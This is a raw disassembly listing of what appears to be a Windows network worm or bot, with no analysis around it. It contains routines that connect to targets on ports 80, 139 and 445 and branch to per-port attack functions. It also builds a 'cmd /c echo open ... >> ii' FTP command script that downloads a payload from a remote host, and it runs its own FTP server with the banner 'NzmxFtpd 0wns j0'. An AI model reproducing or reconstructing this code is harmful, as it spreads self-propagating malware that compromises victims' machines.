		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_422270
		fstp	[esp+40h+var_40]
		call	sub_415F93
		pop	ecx
		pop	ecx
		call	sub_415F6C
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4032AC
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_4032AC:				; CODE XREF: sub_4031FF+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40331A
		add	[ebp-18h], eax


loc_4032FE:				; CODE XREF: sub_4031FF+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, ds:byte_425768[eax]
		push	eax
		push	1
		call	sub_403631
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_4032FE


loc_40331A:				; CODE XREF: sub_4031FF+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_403338
		push	dword ptr [ebp+14h]
		call	sub_415C80
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40368A
		mov	[ebp-18h], edi


loc_403338:				; CODE XREF: sub_4031FF+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_403352
		sub	esi, [ebp-1Ch]


loc_403343:				; CODE XREF: sub_4031FF+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_403631
		dec	esi
		jnz	short loc_403343


loc_403352:				; CODE XREF: sub_4031FF+13Fj
		cmp	[ebp+10h], edi
		ja	loc_403250
		push	1
		pop	ebx


loc_40335E:				; CODE XREF: sub_4031FF+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_403834
		push	ds:dword_422268
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_4036E1
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_403834
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4031FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4033A1	proc near		; CODE XREF: sub_40345C+140p
		mov	eax, offset loc_421220
		call	sub_416438
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_4325D8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_4031FF
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_415D2F
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_4033EB
		xor	bl, bl
		jmp	short loc_40342F
; ---------------------------------------------------------------------------


loc_4033EB:				; CODE XREF: sub_4033A1+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_422278
		cmp	ecx, ebx
		jnz	short loc_4033F9
		mov	ecx, eax


loc_4033F9:				; CODE XREF: sub_4033A1+54j
		cmp	[ebp+18h], ebx
		jz	short loc_403401
		mov	eax, [ebp+18h]


loc_403401:				; CODE XREF: sub_4033A1+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_4159FA
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_4364B8	; send
		cmp	eax, esi
		jz	short loc_403426
		xor	bl, bl
		jmp	short loc_403428
; ---------------------------------------------------------------------------


loc_403426:				; CODE XREF: sub_4033A1+7Fj
		mov	bl, 1


loc_403428:				; CODE XREF: sub_4033A1+83j
		push	edi
		call	sub_415DE1
		pop	ecx


loc_40342F:				; CODE XREF: sub_4033A1+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_403834
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_403834
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4033A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40345C	proc near		; CODE XREF: sub_405DAD+1EAp
					; DATA XREF: _2:off_426624o

var_420		= byte ptr -420h
var_41F		= byte ptr -41Fh
var_391		= byte ptr -391h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_BB		= byte ptr  0C3h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	[ebp+var_420], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_41F]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_420]
		push	offset sub_425914
		push	eax
		call	sub_415560
		add	esp, 0Ch
		mov	eax, offset byte_42AD8C
		push	eax
		push	eax
		push	ds:dword_4325E0
		push	[ebp+arg_0]
		call	sub_409526
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_391]
		push	400h
		push	eax
		call	sub_4159FA
		add	eax, 90h
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		push	164h
		lea	eax, [ebp+var_8]
		push	offset sub_4257AC
		push	eax
		call	sub_402C5D
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp+var_4], esi
		jnz	short loc_4034F8
		xor	eax, eax
		jmp	loc_403624
; ---------------------------------------------------------------------------


loc_4034F8:				; CODE XREF: sub_40345C+93j
		mov	[ebp+var_C], esi


loc_4034FB:				; CODE XREF: sub_40345C+19Fj
		test	esi, esi
		jnz	loc_403601
		push	6
		push	1
		push	2
		call	ds:dword_422200	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4035E9
		xor	eax, eax
		lea	edi, [ebp+var_1A]
		stosd
		push	[ebp+arg_A0]
		stosd
		stosd
		stosw
		mov	[ebp+var_1C], 2
		call	ds:dword_436468	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_4364A8	; inet_addr
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_436410	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4035DE
		cmp	[ebp+arg_A0], 50h
		jnz	short loc_4035A6
		mov	al, [ebp+arg_BB]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp+var_20], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_403834
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_403870
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_4033A1
		add	esp, 1Ch
		jmp	short loc_4035DB
; ---------------------------------------------------------------------------


loc_4035A6:				; CODE XREF: sub_40345C+108j
		cmp	[ebp+arg_A0], 8Bh
		jnz	short loc_4035C0
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_403161
		jmp	short loc_4035D8
; ---------------------------------------------------------------------------


loc_4035C0:				; CODE XREF: sub_40345C+154j
		cmp	[ebp+arg_A0], 1BDh
		jnz	short loc_4035DE
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	ebx
		call	sub_403087


loc_4035D8:				; CODE XREF: sub_40345C+162j
		add	esp, 0Ch


loc_4035DB:				; CODE XREF: sub_40345C+148j
		movzx	esi, al


loc_4035DE:				; CODE XREF: sub_40345C+FBj
					; sub_40345C+16Ej
		push	ebx
		call	ds:dword_436500	; closesocket
		test	esi, esi
		jnz	short loc_4035F4


loc_4035E9:				; CODE XREF: sub_40345C+B8j
		push	3E8h
		call	ds:dword_422054	; Sleep


loc_4035F4:				; CODE XREF: sub_40345C+18Bj
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 2
		jl	loc_4034FB


loc_403601:				; CODE XREF: sub_40345C+A1j
		lea	ecx, [ebp+var_8]
		call	sub_402A82
		test	esi, esi
		jz	short loc_403622
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		inc	ds:dword_426628[eax]
		lea	eax, dword_426628[eax]


loc_403622:				; CODE XREF: sub_40345C+1AFj
		mov	eax, esi


loc_403624:				; CODE XREF: sub_40345C+97j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40345C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4211E4


loc_403629:				; CODE XREF: sub_4211E4+3j
					; _0:004211FDj	...
		push	1
		call	sub_403834
		retn
; END OF FUNCTION CHUNK	FOR sub_4211E4

; =============== S U B	R O U T	I N E =======================================



sub_403631	proc near		; CODE XREF: sub_4031FF+110p
					; sub_4031FF+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_422268
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40364B
		call	sub_420AAA


loc_40364B:				; CODE XREF: sub_403631+13j
		test	ebx, ebx
		jbe	short loc_403682
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4037AF
		test	al, al
		jz	short loc_403682
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_415500
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_403682:				; CODE XREF: sub_403631+1Cj
					; sub_403631+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403631	endp


; =============== S U B	R O U T	I N E =======================================



sub_40368A	proc near		; CODE XREF: sub_4031FF+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_422268
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4036A4
		call	sub_420AAA


loc_4036A4:				; CODE XREF: sub_40368A+13j
		test	ebx, ebx
		jbe	short loc_4036D9
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4037AF
		test	al, al
		jz	short loc_4036D9
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_415560
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_4036D9:				; CODE XREF: sub_40368A+1Cj
					; sub_40368A+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40368A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036E1	proc near		; CODE XREF: sub_4031FF+17Cp
					; sub_4209C0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_4036F9
		call	sub_420983


loc_4036F9:				; CODE XREF: sub_4036E1+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40370B
		mov	esi, [ebp+arg_8]


loc_40370B:				; CODE XREF: sub_4036E1+25j
		cmp	edi, ebx
		jnz	short loc_40372D
		push	ds:dword_422268
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4038A5
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4038A5
		jmp	short loc_4037A6
; ---------------------------------------------------------------------------


loc_40372D:				; CODE XREF: sub_4036E1+2Cj
		test	esi, esi
		jbe	short loc_403770
		cmp	esi, eax
		jnz	short loc_403770
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_403741
		mov	eax, offset dword_422278


loc_403741:				; CODE XREF: sub_4036E1+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_403770
		push	1
		mov	ecx, edi
		call	sub_403834
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40375C
		mov	eax, offset dword_422278


loc_40375C:				; CODE XREF: sub_4036E1+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4037A6
; ---------------------------------------------------------------------------


loc_403770:				; CODE XREF: sub_4036E1+4Ej
					; sub_4036E1+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4037AF
		test	al, al
		jz	short loc_4037A6
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40378A
		mov	eax, offset dword_422278


loc_40378A:				; CODE XREF: sub_4036E1+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_415560
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_4037A6:				; CODE XREF: sub_4036E1+4Aj
					; sub_4036E1+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_4036E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4037AF	proc near		; CODE XREF: sub_4031FF+3Dp
					; sub_403631+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4037C1
		call	sub_420AAA


loc_4037C1:				; CODE XREF: sub_4037AF+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_4037EA
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_4037EA
		cmp	al, 0FFh
		jz	short loc_4037EA
		cmp	edi, edx
		jnz	short loc_403825
		dec	al
		push	edx
		mov	[ecx-1], al


loc_4037DF:				; CODE XREF: sub_4037AF+47j
		mov	ecx, esi
		call	sub_403834


loc_4037E6:				; CODE XREF: sub_4037AF+4Bj
					; sub_4037AF+52j
		xor	al, al
		jmp	short loc_40382F
; ---------------------------------------------------------------------------


loc_4037EA:				; CODE XREF: sub_4037AF+19j
					; sub_4037AF+20j ...
		cmp	edi, edx
		jnz	short loc_403803
		cmp	[esp+8+arg_4], dl
		jz	short loc_4037F8
		push	1
		jmp	short loc_4037DF
; ---------------------------------------------------------------------------


loc_4037F8:				; CODE XREF: sub_4037AF+43j
		cmp	ecx, edx
		jz	short loc_4037E6
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_4037E6
; ---------------------------------------------------------------------------


loc_403803:				; CODE XREF: sub_4037AF+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_403820
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_403815
		cmp	eax, edi
		jnb	short loc_40382D


loc_403815:				; CODE XREF: sub_4037AF+60j
		push	1
		mov	ecx, esi
		call	sub_403834
		jmp	short loc_403825
; ---------------------------------------------------------------------------


loc_403820:				; CODE XREF: sub_4037AF+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40382D


loc_403825:				; CODE XREF: sub_4037AF+28j
					; sub_4037AF+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40390C


loc_40382D:				; CODE XREF: sub_4037AF+64j
					; sub_4037AF+74j
		mov	al, 1


loc_40382F:				; CODE XREF: sub_4037AF+39j
		pop	edi
		pop	esi
		retn	8
sub_4037AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_403834	proc near		; CODE XREF: sub_4031FF+1Fp
					; sub_4031FF+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_403860
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_403860
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_403859
		cmp	al, 0FFh
		jz	short loc_403859
		dec	al
		mov	[ecx], al
		jmp	short loc_403860
; ---------------------------------------------------------------------------


loc_403859:				; CODE XREF: sub_403834+19j
					; sub_403834+1Dj
		push	ecx
		call	sub_416457
		pop	ecx


loc_403860:				; CODE XREF: sub_403834+8j
					; sub_403834+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_403834	endp


; =============== S U B	R O U T	I N E =======================================



sub_403870	proc near		; CODE XREF: sub_40345C+134p
					; sub_4039C9+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4037AF
		test	al, al
		jz	short loc_40389E
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_415560
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40389E:				; CODE XREF: sub_403870+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_403870	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038A5	proc near		; CODE XREF: sub_4036E1+39p
					; sub_4036E1+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4038B8
		call	sub_420983


loc_4038B8:				; CODE XREF: sub_4038A5+Cj
		mov	ecx, edi
		call	sub_4039C9
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_4038CE
		mov	ebx, eax


loc_4038CE:				; CODE XREF: sub_4038A5+25j
		test	ebx, ebx
		jbe	short loc_403904
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_416470
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4037AF
		test	al, al
		jz	short loc_403904
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_403904:				; CODE XREF: sub_4038A5+2Bj
					; sub_4038A5+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4038A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40390C	proc near		; CODE XREF: sub_4037AF+79p
		mov	eax, offset loc_42122C
		call	sub_416438
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_403932
		mov	edi, [ebp+8]


loc_403932:				; CODE XREF: sub_40390C+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40393F
		xor	eax, eax


loc_40393F:				; CODE XREF: sub_40390C+2Fj
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_403970
; ---------------------------------------------------------------------------


loc_40394B:				; DATA XREF: _1:00422F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40395A
		xor	eax, eax


loc_40395A:				; CODE XREF: sub_40390C+4Aj
		push	eax
		call	sub_4167A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40396A
		retn
; ---------------------------------------------------------------------------


loc_40396A:				; DATA XREF: sub_40390C+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_403970:				; CODE XREF: sub_40390C+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40398E
		cmp	eax, edi
		jbe	short loc_40397D
		mov	eax, edi


loc_40397D:				; CODE XREF: sub_40390C+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_415560
		add	esp, 0Ch


loc_40398E:				; CODE XREF: sub_40390C+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_403834
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4039AE
		mov	edi, ebx


loc_4039AE:				; CODE XREF: sub_40390C+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40390C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4039C9	proc near		; CODE XREF: sub_4038A5+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_4039F6
		mov	al, [esi-1]
		test	al, al
		jz	short loc_4039F6
		cmp	al, 0FFh
		jz	short loc_4039F6
		push	1
		call	sub_403834
		push	esi
		call	sub_415C80
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_403870


loc_4039F6:				; CODE XREF: sub_4039C9+9j
					; sub_4039C9+10j ...
		pop	edi
		pop	esi
		retn
sub_4039C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4039F9	proc near		; DATA XREF: _2:00424004o
		test	ds:byte_4C937C,	1
		jnz	short loc_403A09
		or	ds:byte_4C937C,	1


loc_403A09:				; CODE XREF: sub_4039F9+7j
		jmp	$+5
		push	offset nullsub_2
		call	sub_416820
		pop	ecx
		retn
sub_4039F9	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A1B	proc near		; DATA XREF: sub_405898+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_238		= byte ptr -238h
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		call	ds:dword_4221D8	; WSAStartup
		push	edi
		call	sub_416ACB
		push	eax
		call	sub_4154D2
		push	0FEB0h
		push	406h
		call	sub_4138BE
		add	esp, 10h
		mov	ds:dword_4325E0, eax
		push	edi
		push	ebx
		push	2
		call	ds:dword_422200	; socket
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		call	ds:dword_4221DC	; setsockopt
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_422204	; ioctlsocket
		mov	ax, word ptr ds:dword_4325E0
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		call	ds:dword_4221E0	; htons
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4221E4	; bind
		test	eax, eax
		jge	short loc_403AF0
		mov	eax, ebx
		jmp	loc_40401A
; ---------------------------------------------------------------------------


loc_403AF0:				; CODE XREF: sub_403A1B+CCj
		push	0Ah
		push	esi
		call	ds:dword_4221E8	; listen
		mov	[ebp+var_228], ebx
		mov	ebx, ds:dword_4221F4
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi


loc_403B0E:				; CODE XREF: sub_403A1B+12Cj
					; sub_403A1B+5F7j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	ds:dword_4221F8	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_404017
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_403B0E


loc_403B49:				; CODE XREF: sub_403A1B+5F1j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415500
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_415500
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_420B60	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404005
		cmp	edi, [ebp+var_C]
		jnz	short loc_403C00
		lea	eax, [ebp+var_24]
		mov	[ebp+var_24], 10h
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_4221EC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_404005
		xor	ecx, ecx
		cmp	[ebp+var_228], esi
		jbe	short loc_403BCA
		lea	edx, [ebp+var_224]


loc_403BBA:				; CODE XREF: sub_403A1B+1ADj
		cmp	[edx], eax
		jz	short loc_403BCA
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
		jb	short loc_403BBA


loc_403BCA:				; CODE XREF: sub_403A1B+197j
					; sub_403A1B+1A1j
		cmp	ecx, [ebp+var_228]
		jnz	short loc_403BE8
		cmp	[ebp+var_228], 40h
		jnb	short loc_403BE8
		mov	[ebp+ecx*4+var_224], eax
		inc	[ebp+var_228]


loc_403BE8:				; CODE XREF: sub_403A1B+1B5j
					; sub_403A1B+1BEj
		cmp	eax, [ebp+var_4]
		jle	short loc_403BF0
		mov	[ebp+var_4], eax


loc_403BF0:				; CODE XREF: sub_403A1B+1D0j
		push	esi
		push	15h
		push	offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
		push	eax
		call	ebx	; send
		jmp	loc_404005
; ---------------------------------------------------------------------------


loc_403C00:				; CODE XREF: sub_403A1B+169j
		push	esi
		lea	eax, [ebp+var_29C]
		push	64h
		push	eax
		push	edi
		call	ds:dword_4221F0	; recv
		test	eax, eax
		jg	short loc_403C67
		mov	edx, [ebp+var_228]
		xor	ecx, ecx
		cmp	edx, esi
		jbe	short loc_403C5B
		lea	eax, [ebp+var_224]


loc_403C27:				; CODE XREF: sub_403A1B+216j
		cmp	[eax], edi
		jz	short loc_403C35
		inc	ecx
		add	eax, 4
		cmp	ecx, edx
		jb	short loc_403C27
		jmp	short loc_403C5B
; ---------------------------------------------------------------------------


loc_403C35:				; CODE XREF: sub_403A1B+20Ej
		dec	edx
		cmp	ecx, edx
		jnb	short loc_403C55
